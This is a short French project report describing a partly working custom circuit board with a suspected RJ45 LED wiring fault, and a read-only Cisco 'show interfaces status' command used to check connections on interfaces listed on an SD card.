Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.
Réalisation du code pour les appareil Cisco
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
show interfaces status | include INAME\
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.